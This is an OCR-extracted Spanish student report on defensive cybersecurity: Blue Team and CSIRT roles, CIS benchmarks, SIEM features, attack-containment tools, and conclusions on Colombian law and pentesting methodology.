equipos Red Team estan trabajando para fortalecer el entorno tecnoldgico por medio de la
instalacion de sistemas seguros, segmentacion de red, implementacion de firewalls, activacion y
configuracion de parches de seguridad y ejecucion de pruebas de pentesting.

El Blue Team también desarrolla y ajusta reglas para deteccion, usa el comportamiento
para analizar y ejecutar simulaciones de ataque para medir la sensibilidad de la organizacion en
red, su objetivo es el de minimizar las superficies de ataque y por ende anticipar las técnicas
usadas y sofisticadas de los atacantes reales.

Por otra parte, el equipo CSIRT de respuesta a incidentes informéticos se comporta
como una brigada de emergencias digitales, su tarea es responder rdpidamente y de forma
integrada a incidentes de seguridad ya materializados, como infecciones por malware, accesos no
autorizados, ataques por DDoS, entre otros. Los procedimientos estructurados del CSIRT
permiten contener, erradicar y recuperar los sistemas comprometidos, asi mismo realizar analisis
forenses para trazar el origen y alcance del incidente, igualmente su responsabilidad es el
monitoreo de comunicacion interna y externa durante la crisis, notificacion de hechos y aclarar
propuestas de medidas correctivas para la eliminacion de recurrencias, aunque puede participar
en ejercicios preventivos, su Unica razon para existir es la crisis, su enfoque es netamente
reactivo.

En resumen, el Blue Team se implanta en funcion de la proteccion integral y continua del

ecosistema digital y el CSIRT es especializado en respuesta, atencion y solucion de incidentes
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especificos una vez que la seguridad se haya visto vulnerada, dicho de otra manera, el Blue Team
es el contendiente principal y los CSIRT son los bomberos digitales. No obstante, dicha
distincion es esencial para establecer una estrategia combinatoria y efectiva sobre la prevencion

y amortiguacion del ciberataque.

4.4.;Si dentro de un equipo Blue Team le indican que debe trabajar con CIS “Center For

Internet Security”, usted lo utilizaria para qué fin?

Si dentro de un equipo Blue Team me indican que debo trabajar con el CIS (Center for
Internet Security), la manera en que utilizaria este recurso seria principalmente para el
establecimiento, implementacion y mantenimiento de controles y buenas practicas de
ciberseguridad de conformidad con estandares internacionales, los CIS ofrecen una variedad de
guias con los nombres de CIS Controls y CIS Benchmarks, que actualmente son cadenas
mundiales de referencia para los controladores de sistemas, redes y aplicaciones cibernéticas.
Llevado a la préctica, se podria utilizar el CIS para las siguientes técnicas:

Hardenizacion de Sistemas: Aplicaria los CIS Benchmarks para configurar de forma
segura sistemas operativos, aplicaciones y dispositivos de red, reduciendo superficies de ataque e
identificando y cerrando configuraciones consumadas para atacantes, utilizando indicaciones
paso a paso para deshabilitar servicios, reforzar contrasefias, abrir compilaciones cuyo uso es
inaceptable, fortalecer policial de seguridad.

Por lo tanto, conforme a las guias presentadas anteriormente, se implementaran auditores
de seguridad.

Evaluacion y Auditoria de Seguridad: Son los Controles CIS como herramientas de

referencia para poder hacer autoevaluaciones de la seguridad en la organizacion, identificando
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actividades que hemos instaurado bien o mal y priorizando medidas correctivas. Con esta
herramienta se ejecutan autovaloraciones regulares y se garantiza que pueda completar
correctamente la pestaia de seguridad en auditorias internas o externas.

Automatizacion y gestion de politicas: Aprovecharia las herramientas y plantillas que
me proporciona CIS para la aplicacion automatizada de politicas de seguridad en una gran
infraestructura.

Capacitacion y Actualizacion Continua: Es la documentacion regular para consulta
expedida por el CIS la cual queda a disposicion de cualquiera que quiera acceder con el fin de
mantenernos actualizados en conocimientos.

Para concluir, el CIS es una fuente de estandares y herramientas que apoyan a desarrollar,
implementar y mantener una estrategia de seguridad confiable, estructurada y orientada a las
mejores practicas internacionales que impide, identifica y detiene efectivamente los ataques a

través de la proteccion, la deteccion y respuesta a incidentes de seguridad.

4.5.Explique y redacte las funciones y caracteristicas principales de lo que es un SIEM.

Los SIEM, lo que se entiende como Sistemas de Gestion de Eventos e Informacion de
Seguridad (SIEM), ofrecen una solucion integral a la vigilancia, deteccion e interaccion respecto
a las amenazas cibernéticas. El disefio de esta incorporo tecnologia para la recoleccion de datos,
analisis en tiempo real, y correlacion de eventos, convirtiéndose en un elemento fundamental de
los SOC modernos. A continuacion, se presentan las funciones y caracteristicas destacadas del

SIEM con referencia a investigaciones cientificas y practicas:
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Tabla 10

Funciones y Caracteristicas de los SIEMS.

Funcion o
Categoria Descripcion Técnica y Aplicacion

Caracteristica
Los SIEM recopilan y centralizan registros
de maltiples fuentes, como firewalls,
antivirus, servidores y dispositivos de red.
Esta capacidad permite un analisis
unificado de la actividad del sistema,

Gestion de registros y identificando patrones anomalos o

Funcion
agregacion de datos indicadores de compromiso (IoC) (Fortra,

2018; Gnatyuk et al., 2022). Por ejemplo,
herramientas como Graylog y Wazuh
normalizan y almacenan datos historicos
para facilitar auditorias y analisis forenses
(EALDE Business School, 2023).
Mediante reglas predefinidas y algoritmos
de inteligencia artificial, los SIEM vinculan
eventos aparentemente inconexos para
Funcion | Correlacion de eventos  detectar amenazas complejas. Un estudio de
PMC (2021) demostrd que esta funcion
reduce el 68% de falsos positivos en

entornos empresariales, priorizando alertas




Funcion

Funcion

Funcion

Deteccion de amenazas

en tiempo real

Respuesta automatizada

y orquestacion

Cumplimiento

normativo y reportes
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criticas como intentos de explotacion de
vulnerabilidades un ejemplo claro es
EternalBlue en SMB.

Los SIEM analizan flujos de datos
continuos para identificar actividades
sospechosas, como accesos no autorizados
o comportamientos de exfiltracion. Segun
IBM (2024), el uso de modelos de
aprendizaje automatico mejora la precision
en la deteccion de ransomware y ataques de
dia cero en un 92% comparado con
métodos tradicionales.

Integrados con herramientas como Snort o
Suricata, los SIEM pueden activar
respuestas automatizadas, como bloquear
direcciones IP maliciosas o aislar sistemas
comprometidos. Esta caracteristica reduce
el tiempo de mitigacion de incidentes de
horas a segundos (PMC, 2021; CEUR-WS,
2022).

Genera informes para auditorias y
cumplimiento de normativas (ISO 27001,

GDPR, NIST), documentando accesos,



Caracteristica

Caracteristica

Caracteristica

Arquitectura escalable y

flexible

Integracion de
inteligencia de

amenazas

Analitica avanzada y

machine learning
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incidentes y controles aplicados. Permite la
trazabilidad y la retencion segura de
evidencias digitales.

Los SIEM generan informes detallados para
auditorias de estandares como ISO 27001 o
GDPR. Por ejemplo, Fortra (2018) destaca
su utilidad en la documentacion de
controles de acceso y gestion de incidentes,
esencial para evitar sanciones legales.

Los SIEM modernos admiten entornos
distribuidos y cloud, procesando terabytes
de datos diarios sin pérdida de rendimiento.
Plataformas como Splunk y Elasticsearch
utilizan clusters horizontales para garantizar
disponibilidad (PMC, 2021).

Incorporan feeds de threat intelligence (ej.
MITRE ATT&CK) para contextualizar
alertas. Esto permite identificar tacticas de
grupos APT (Advanced Persistent Threats)
y ajustar defensas proactivamente (Gnatyuk
et al., 2022).

Modelos predictivos y de deteccion de

anomalias (UEBA) identifican



Caracteristica

Caracteristica

Dashboards e interfaces

personalizables

Almacenamiento seguro

y forense
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comportamientos atipicos, como
movimientos laterales en redes. Un caso
documentado por Microsoft (2025) mostro
una reduccion del 75% en ataques internos
usando estas técnicas.

Dashboards interactivos y paneles de
control permiten visualizar métricas clave,
como tasas de falsos positivos o tiempos de
respuesta. Herramientas como IBM QRadar
ofrecen widgets para monitorear amenazas
especificas (CEUR-WS, 2022).

Los SIEM preservan registros historicos
por meses o afos, crucial para
investigaciones forenses. Graylog y
LogRhythm utilizan cifrado AES-256 y
compresion para optimizar espacio

(EALDE Business School, 2023).

Nota. Tabla con principales Funciones y Caracteristicas de un SIEM.

4.6.Defina por lo menos 3 herramientas de contencion de ataques informéaticos “hardware

o software”, recuerde que las herramientas de contencion son diferentes a las

herramientas de deteccion.
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Tabla 11

Herramientas de Contencion de Ataques.

Descripcion y
Tipo Ejemplos
Herramienta Funcion

(Hardware/Software) Comerciales (con

citas cientificas)

Dispositivo que
filtra y bloquea
trafico malicioso
para limitar la
propagacion de
ataques. Ejemplos:
Fortinet FortiGate,
Firewall de Nueva Cisco Firepower.
Hardware/Software Contencion

Generacion (NGFW) Los NGFW
integran inspeccion
profunda de
paquetes y
prevencion de
intrusiones

(Algahtani et al.,

2023).
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Programas que
detectan, aislan y
eliminan malware
para evitar dafios y
propagacion.
Ejemplos:
Symantec
Software Endpoint

Software Contencion

Antimalware/Antivirus Protection, Sophos
Intercept X. La
contencion se logra
mediante
cuarentena y
bloqueo en tiempo
real (Alvarado et
al., 2022).

Sistemas que
restringen accesos
mediante multiples
Autenticacion
Software Contencion factores,
Multifactor (MFA)
reduciendo accesos

no autorizados y

conteniendo
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ataques basados en
credenciales
robadas
(Shrivastava &
Kumar,

2019). Ejemplos:
Duo Security,
Microsoft Azure

AD MFA.

Nota. Tabla que describe detalladamente mecanismos de contencidon de ataques informaticos.
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Conclusiones

El estudio de la legislacion en Colombia demuestra que la Ley 1273 de 2009 y la Ley
1581 de 2012 son los marcos sobre los cuales radican la actividad de los equipos de
ciberseguridad. La tipificacion de los crimenes informaticos y la proteccion de datos personales
imponen a los profesionales un régimen ético y juridico riguroso, por lo que la formacion y
actualizacion profesional son bésica incluso imperativa.

Realizar pruebas de penetracion puede ser efectivo inicamente mediante la aplicacion de
metodologias estructuradas y herramientas especializadas. Planificacion, reconocimiento,
escaneo de vulnerabilidades, explotacion, post-explotacion y reporte de vulnerabilidad, estdn en
un ciclo técnico que debe implementarse correctamente para elevar la posibilidad de encontrar y
reparar vulnerabilidades criticas, fortaleciendo la postura de seguridad de la organizacion.

El montaje del escenario simulado, tecnologias como VirtualBox, Kali Linux y sistemas
Windows hacen tratamientos en sitio real de ataque y defensa conduce al comienzo de las
competencias informaticas practicas. La implementacion practica es esencial para la creacion de
competencias técnicas avanzadas, permitiendo a los equipos de “Red Team” y “Blue Team”
practicar, comparar y perfeccionar sus herramientas en un ambiente de préctica controlada y

segura.
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Recomendaciones

Estar en constante actualizacion frente a la normatividad vigente.

Capacitacion continua en el uso de herramientas de pentesting y andlisis forense.
Aumentar la realizacion de escenarios controlados de Red Team y Blue Team.
Realizar auditorias continuas y seguimiento a los planes de accion para verificar

su estricto cumplimiento y efectividad.
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